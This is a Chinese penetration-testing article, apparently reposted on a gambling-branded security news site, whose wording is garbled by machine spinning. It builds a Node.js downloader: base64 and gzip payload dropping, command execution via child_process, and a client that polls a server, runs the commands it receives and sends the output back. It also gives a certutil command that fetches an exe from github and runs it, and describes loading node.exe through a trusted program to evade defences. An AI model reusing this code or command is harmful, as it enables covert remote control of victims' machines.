渗入测试中的Node.js——Downloader的完成 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

渗入测试中的Node.js——Downloader的完成

申博_新闻事件 申博 175次浏览 已收录 0个评论

TP-LINK路由器缓冲区溢出0 day 破绽

路由器已经成为我们日常生活的必需品,在家庭和办公室随处可见。人们依赖路由器进行通信、银行交易、网上购物等等。IBM安全研究人员Grzegorz Wypych对消费者使用的最广泛的互联网路由器TP-Link WR-940进行了分析,发现其中存在一个0 day

0x00 媒介

Node.js是一个基于Chrome V8引擎的JavaScript运转情况,运用了一个事宜驱动、非壅塞式I/O的模子,使其轻量又高效。

我最近在一篇文章中学到了应用Node.js绕过主动防备的技能,因而对Node.js的语法举行了进修,开源一个Downloader的完成代码,分享剧本开辟中须要注重的细节。

0x01 简介

本文将要引见以下内容:

· 基本概念

· 应用Node.js完成的文件开释

· 应用Node.js完成的downloader

· 应用思绪

· 防备发起

0x02 基本概念

Node.js同JavaScript的区分

JavaScript是一门言语。

Node.js是一个基于Chrome V8引擎的JavaScript运转情况。

虽然在Windows平台下,两者的剧本文件后缀名都是.js,但两者之间的区分很大,语法也分歧。

Node.js的运用

在Windows平台下,Node.js代码生存在.js后缀名的文件中,经由过程node.exe加载实行。

Node.js支撑第三方包,可经由过程npm敕令装置模块,实例以下:

装置web框架模块express:

npm install express

运用模块express:

var express = require('express');

注:本文触及的代码均不运用第三方包,只运用装置包中的node.exe

0x03 应用Node.js完成的文件开释

完成思绪:

将exe文件做base64编码存储在文件中,开释时先读取文件举行解码,末了写入文件。

1. 读取文件内容,做base64编码并输出到data.txt

function base64_encode(file) {
	var fs = require('fs');
	var data = fs.readFileSync(file);
	return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

注:fs.readFileSync透露表现同步读取,异步读取运用fs.readFile

实行:

node.js base64encode.js >data.txt

2. 读取data.txt中生存的加密字符串,base64解码并天生新的文件test2.exe

function base64_decode(base64str, file) {
	var data = Buffer.from(base64str, 'base64');
    fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

注:运用代码var base64str = fs.readFileSync(‘data.txt’);在读取文件后,变量base64str须要强迫转换成字符串范例,即base64str.toString()

为了减少文件长度,到场紧缩算法gzip

1. 读取test.exe中的内容,做gzip紧缩后生存到文件data.gz

function gunzip(sourcePath) {
	var zlib = require('zlib');
	var fs = require('fs');
  	var unzip = zlib.createGunzip(); 
  	var rs = fs.createReadStream(sourcePath); 
  	var ws = fs.createWriteStream('test2.exe');
  	rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. 读取data.gz中的内容,做gzip解紧缩后生存到文件test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
  var unzip = zlib.createGunzip(); 
  var rs = fs.createReadStream(sourcePath); 
  var ws = fs.createWriteStream('test2.exe');
  rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 应用Node.js完成的downloader

完成思绪:

1. Server

· 监听指定端口,守候客户端衔接,纪录客户端的IP、衔接时间和post数据。

· 对客户端的数据包举行挑选,对相符前提1的客户端返回掌握敕令,对相符前提2的客户端在以后掌握台显现客户端发来的敕令实行效果,不然返回404页面。

2. Client

· 衔接指定服务器,发送流动花样的post数据,包孕以后体系的主机名和操纵体系版本。

· 吸收服务器返回的掌握敕令,实行后将效果再次发送到服务器。

· 若是服务器未相应,守候一段时间后再次发送post请求。

须要斟酌以下题目:

1. 经由过程Node.js实行cmd敕令

function runcmd(command) {
	var childprocess = require('child_process');
	childprocess.exec(command, (err, stdout, stderr) => {
  	if (err) {
    		console.error(err);
    		return;
  	}
  	console.log(stdout);
	});
}
runcmd('whoami');

2. HTTP通讯的完成

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
    	var body = '';
    	console.log('req.url:',req.url);
    	req.on('data', function (chunk) {
		body += chunk;
        	console.log("chunk:",chunk);
    	});
    	req.on('end', function () {
        	body = querystring.parse(body);  
        	console.log('body:',body);
        	res.write('Message from server');
        	res.end();
    	});
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
sendHello('127.0.0.1','3000');

Client向Server发送post数据,内容为data1=str1&data2=str2

Server收到请求后,向Client复兴的内容为Message from server

3. sleep的完成

Node.js默许不支撑sleep操纵,这里能够本身完成:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

字符串范例转换为数字,可在前面加+

4. Client准时轮回发送post请求

这里须要斟酌异步和同步的题目。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

Node.js是异步编程,但Client准时轮回发送post请求须要运用同步完成,测试代码以下:

Server:

代码同上

Client:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
while (true)
{
	console.log('1');
	sleep(5000);
	sendHello('127.0.0.1','3000');
}

期待的效果:

Clinet每隔5秒发送一个post请求,吸收效果。

现实的效果:

每隔5秒实行一次轮回,但Clinet没有发出请求。

因为我们最后的想象是不运用npm,以是也没法运用async模块完成同步。

终究,我经由过程要领嵌套处理了同步题目,示例以下:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function A(){
	console.log('A');
	B();	
}
function B(){
	console.log('B');
	sleep(5000);
	A();	
}
A();

5. Server显现Client的IP

代码以下:

function getClientIp(req) {
        return req.headers['x-forwarded-for'] ||
        req.connection.remoteAddress ||
        req.socket.remoteAddress ||
        req.connection.socket.remoteAddress;
};

默许为花样为ipv6,比方:

::ffff:127.0.0.1

能够经由过程修正listen的参数指定为ipv4

修正前:

.listen(3000);

修正后:

.listen(3000,'0.0.0.0');

6. Server推断post请求,不相符请求的复兴404

对body的内容举行推断便可。

完全完成代码已开源,地点:

https://github.com/3gstudent/NodeJS-Downloader

注:开源的代码仅仅是一个示例,用作演示NodeJS的功用。

用法以下:

须要先取得node.exe,下载地点: https://nodejs.org/en/download/

1. 编纂文件Server.js

可编译以下内容:

· 向Client发送的敕令:var command

· 监听端口: .listen(80,’0.0.0.0′);

2. 启动Server

node.exe Server.js

监听指定端口,守候客户端衔接,纪录客户端的IP、衔接时间和post数据。

对客户端的数据包举行挑选,对首次接见的客户端返回掌握敕令,对第二次接见的客户端在以后掌握台显现客户端发来的敕令实行效果,不然返回404页面。

3. 编纂文件Client.js

可编译以下内容:

· Server的IP:var serverip

· Server的端口:var serverport

· 轮回间隔时间:var timeinterval

4. 启动Client

node.exe Client.js

Client将会衔接Server,发送流动花样的post数据,包孕以后体系的主机名和操纵体系版本。

接下来吸收Server返回的掌握敕令,实行后将效果再次发送到Server。

若是Server未相应,守候一段时间后再次发送post请求。

0x05 应用思绪

1、开源的代码支撑多种payload

可将payload设置为下载文件并实行,比方:

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

更多下载实行的敕令可参考之前的文章《渗入技能——从github下载文件的多种要领》

注:发送Client退出的敕令可运用:

var command = 'taskkill /f /im node.exe';

2、可被第三方可托顺序加载

参考:

https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

演示如图:

渗入测试中的Node.js——Downloader的完成

0x06 防备发起

对t.exe的子历程(node.exe)行动举行推断,若是有可疑行动举行阻拦。

0x07 小结

本文引见了在开辟Node.js代码时须要注重的细节,开源了一段Downloader的测试代码,用来演示Node.js的功用。

扼要剖析在渗入测试中的应用思绪,给出防备发起。

TP-LINK路由器缓冲区溢出0 day 破绽

路由器已经成为我们日常生活的必需品,在家庭和办公室随处可见。人们依赖路由器进行通信、银行交易、网上购物等等。IBM安全研究人员Grzegorz Wypych对消费者使用的最广泛的互联网路由器TP-Link WR-940进行了分析,发现其中存在一个0 day


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明渗入测试中的Node.js——Downloader的完成
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址